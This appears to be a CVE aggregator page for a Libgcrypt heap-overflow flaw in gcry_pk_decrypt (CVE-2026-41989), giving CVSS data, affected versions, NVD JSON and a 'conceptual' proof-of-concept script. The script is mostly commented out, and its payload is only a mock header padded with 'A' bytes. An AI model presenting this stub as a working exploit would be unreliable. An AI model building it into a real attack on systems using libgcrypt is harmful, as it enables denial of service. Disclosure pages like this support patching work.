Security Vulnerability Report
中文
CVE-2026-41989 CVSS 6.7 MEDIUM

CVE-2026-41989

Published: 2026-04-23 05:16:06
Last Modified: 2026-04-27 18:33:18

Description

Libgcrypt before 1.12.2 sometimes allows a heap-based buffer overflow and denial of service via crafted ECDH ciphertext to gcry_pk_decrypt.

CVSS Details

CVSS Score
6.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:gnupg:libgcrypt:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:gnupg:libgcrypt:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:gnupg:libgcrypt:*:*:*:*:*:*:*:* - VULNERABLE
Libgcrypt < 1.12.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import ctypes # Conceptual PoC for CVE-2026-41989 # This script demonstrates the logic to trigger the heap overflow. # The vulnerable function is gcry_pk_decrypt in Libgcrypt < 1.12.2. # Load the library (path may vary) # libgcrypt = ctypes.CDLL("libgcrypt.so.20") # Construct a crafted ECDH ciphertext. # The payload is designed to bypass initial checks and trigger the overflow. # Example structure: Header + Overflow Data malicious_header = b"\x30\x82\x01\x0a" # Mock ASN.1 sequence header overflow_data = b"A" * 5000 # Excessive data to overflow heap buffer payload = malicious_header + overflow_data # Initialize Libgcrypt (Required in real usage) # libgcrypt.gcry_control(1, 0) # GCRYCTL_DISABLE_SECMEM # libgcrypt.gcry_check_version(None) # Trigger the vulnerability # Note: Actual function signature requires valid S-expressions as pointers. # This is a conceptual representation of passing the payload. # print("[+] Sending crafted payload to gcry_pk_decrypt...") # result = libgcrypt.gcry_pk_decrypt(ctypes.c_void_p(), payload, len(payload)) # If successful, the application should crash or heap corruption occurs. # print("[!] Payload sent. Check for crash.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41989", "sourceIdentifier": "[email protected]", "published": "2026-04-23T05:16:05.750", "lastModified": "2026-04-27T18:33:18.157", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Libgcrypt before 1.12.2 sometimes allows a heap-based buffer overflow and denial of service via crafted ECDH ciphertext to gcry_pk_decrypt."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.4, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gnupg:libgcrypt:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.8.8", "versionEndExcluding": "1.10.4", "matchCriteriaId": "284D6896-05FC-45E8-8D29-653A20433E9E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gnupg:libgcrypt:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.11.0", "versionEndExcluding": "1.11.3", "matchCriteriaId": "D47D4091-14A2-4E49-9FFD-3F6C5017A9AC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gnupg:libgcrypt:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.12.0", "versionEndExcluding": "1.12.2", "matchCriteriaId": "DD6AEDAC-5EDC-4918-877A-A16792DB52A2"}]}]}], "references": [{"url": "https://dev.gnupg.org/T8211", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://lists.gnupg.org/pipermail/gnupg-announce/2026q2/000503.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.openwall.com/lists/oss-security/2026/04/21/1", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}